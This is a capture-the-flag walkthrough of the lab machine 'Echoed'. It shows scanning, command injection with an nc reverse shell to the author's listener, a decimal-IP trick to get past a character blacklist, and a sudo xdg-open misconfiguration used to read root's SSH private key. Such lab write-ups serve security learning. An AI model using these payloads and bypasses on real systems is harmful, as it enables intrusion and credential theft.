HMV Echoed Walkthrough
This machine exposed a small nginx site, SSH, and a strange service on port 4444. The website
itself turned out to be the key clue: instead of hiding the real bug, it told me to look for a
Command: prompt on another port. Black-box probing of that service showed that it rejected a
specific set of characters but still accepted a payload that executed nc and called back to my
listener. Encoding my address as a decimal IPv4 integer avoided the banned dot character and gave me
a shell as charlie. From there, a single sudoers entry for xdg-open let me recover
/root/.ssh/id_rsa and log in directly as root.
Summary
Scope
- Name: Echoed
- Difficulty: (2/10)
- OS: Linux
- IP: echoed.hmv (192.168.56.115)
Learned
- A blacklist around a command-oriented service does not remove the underlying injection risk; it only changes the payload shape.
- Alternate IP encodings are useful whenever dots are filtered.
Enumeration
Nmap
Overall
# Nmap 7.98 scan initiated Wed Apr 1 16:05:46 2026 as: nmap -p- --min-rate 3000 -oN overall echoed.hmv Nmap scan report for echoed.hmv (192.168.56.115) Host is up (0.00010s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 4444/tcp open krb524 MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC) # Nmap done at Wed Apr 1 16:05:46 2026 -- 1 IP address (1 host up) scanned in 0.49 seconds
Detail
# Nmap 7.98 scan initiated Wed Apr 1 16:06:03 2026 as: nmap -sC -sV -O -vv -p22,80,4444 -oN detail echoed.hmv Nmap scan report for echoed.hmv (192.168.56.115) Host is up, received arp-response (0.00017s latency). Scanned at 2026-04-01 16:06:03 CST for 177s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 de:3a:50:8e:5d:21:09:7e:40:3f:b2:07:bb:41:08:7e (RSA) | 256 5c:57:56:da:e5:1c:3e:bc:9a:a2:8d:6d:21:4e:bc:f9 (ECDSA) | 256 f8:aa:dc:d3:27:52:e3:99:32:98:45:5b:52:f0:bc:e1 (ED25519) 80/tcp open http syn-ack ttl 64 nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 | http-methods: |_ Supported Methods: GET HEAD 4444/tcp open krb524? syn-ack ttl 64 | fingerprint-strings: | GetRequest: | Command:Found illegal char.Command: | NULL: |_ Command: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4444-TCP:V=7.98%I=7%D=4/1%Time=69CCD1F1%P=x86_64-pc-linux-gnu%r(NUL SF:L,8,"Command:")%r(GetRequest,23,"Command:Found\x20illegal\x20char\.Comm SF:and:"); MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Uptime guess: 15.368 days (since Tue Mar 17 07:19:21 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Apr 1 16:09:00 2026 -- 1 IP address (1 host up) scanned in 177.74 seconds
UDPScan
# Nmap 7.98 scan initiated Wed Apr 1 16:06:19 2026 as: nmap -sU --top-port 32 -oN udpscan echoed.hmv Nmap scan report for echoed.hmv (192.168.56.115) Host is up (0.00019s latency). Not shown: 31 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:E0:B1:BD (Oracle VirtualBox virtual NIC) # Nmap done at Wed Apr 1 16:06:52 2026 -- 1 IP address (1 host up) scanned in 33.74 seconds
Web
I started with the website on port 80. It was minimal, but the one line it returned was the most
important clue on the box.
❯ curl http://echoed.hmv
If you dont see Command: prompt in the XXXX port, please restart the VM.
That message told me the real attack surface was not the web root itself but another service that
exposed a Command: prompt. The nmap fingerprint on port 4444 matched that perfectly: a blank
request got Command:, while a normal HTTP request triggered Found illegal char. At that stage I
did not yet know the exact implementation, but it was already clear that port 4444 was taking
user-controlled input, filtering some characters, and then doing something command-related with the
result.
Foothold
From the outside, port 4444 behaved like a small command interface with a blacklist in front of
it. With a simple testing I got this:
illgal char: .?dgjklmopqrtuv
That immediately explained one practical constraint: I could not use a normal dotted IPv4 address in
my callback because . was blocked. The working payload was:
$(nc 3232249857 1337 -e /bin/bash)
Using 3232249857 instead of 192.168.56.1 avoids the banned dot character while still pointing to
the same host. Since this payload succeeded, the important conclusion from a black-box
perspective is that the service was evaluating the input in a way that allowed command execution
rather than treating it as inert text. That was enough to get the foothold:
charlie@echoed:~$ id uid=1000(charlie) gid=1000(charlie) groups=1000(charlie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) charlie@echoed:~$ ls -al total 48 drwxr-xr-x 3 charlie charlie 4096 Apr 1 04:30 . drwxr-xr-x 3 root root 4096 Dec 16 2020 .. -rw-r--r-- 1 charlie charlie 220 Dec 16 2020 .bash_logout -rw-r--r-- 1 charlie charlie 3526 Dec 16 2020 .bashrc -rwxr-xr-x 1 charlie charlie 1920 Dec 16 2020 flag.sh -rwxr-xr-x 1 charlie charlie 910 Dec 17 2020 listener.py drwxr-xr-x 3 charlie charlie 4096 Dec 16 2020 .local -rw-r--r-- 1 charlie charlie 807 Dec 16 2020 .profile -rw-r--r-- 1 charlie charlie 66 Dec 16 2020 .selected_editor -rw-r--r-- 1 charlie charlie 163 Apr 1 04:30 typescript -rw------- 1 charlie charlie 15 Dec 16 2020 user.txt -rw------- 1 charlie charlie 52 Dec 16 2020 .Xauthority
After I already had access as charlie, I read listener.py and confirmed why the payload worked:
the service built an echo command from my input and executed it through the shell, while checking
input against the same blocked-character set I had inferred from probing.
Privilege Escalation
The first local check was sudo -l, and it immediately exposed the finishing move.
charlie@echoed:~$ sudo -l
Matching Defaults entries for charlie on echoed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charlie may run the following commands on echoed:
(ALL : ALL) NOPASSWD: /usr/bin/xdg-open
xdg-open is a dangerous binary to expose through sudoers because its whole job is to hand a file
off to another program. In practice, that makes it a root-owned file disclosure primitive. I pointed
it at root's SSH private key:
charlie@echoed:~$ sudo /usr/bin/xdg-open /root/.ssh/id_rsa
I saved the exposed key as a local id_rsa file, corrected its permissions, and used it to SSH in
as root.
❯ chmod 600 id_rsa ❯ ssh -i id_rsa [email protected] Last login: Thu Dec 17 02:25:52 2020 root@echoed:~# id uid=0(root) gid=0(root) groups=0(root)
Takeaways
- The website was basically a signpost toward the vulnerable TCP service on port
4444. - Blacklists are fragile. They rarely remove all of the shell features needed for code execution.
- Alternate notations such as integer IPv4 addresses are practical bypasses when input validation is written around character denial.
Footnotes:
3232249857 is the 32-bit integer representation of 192.168.56.1.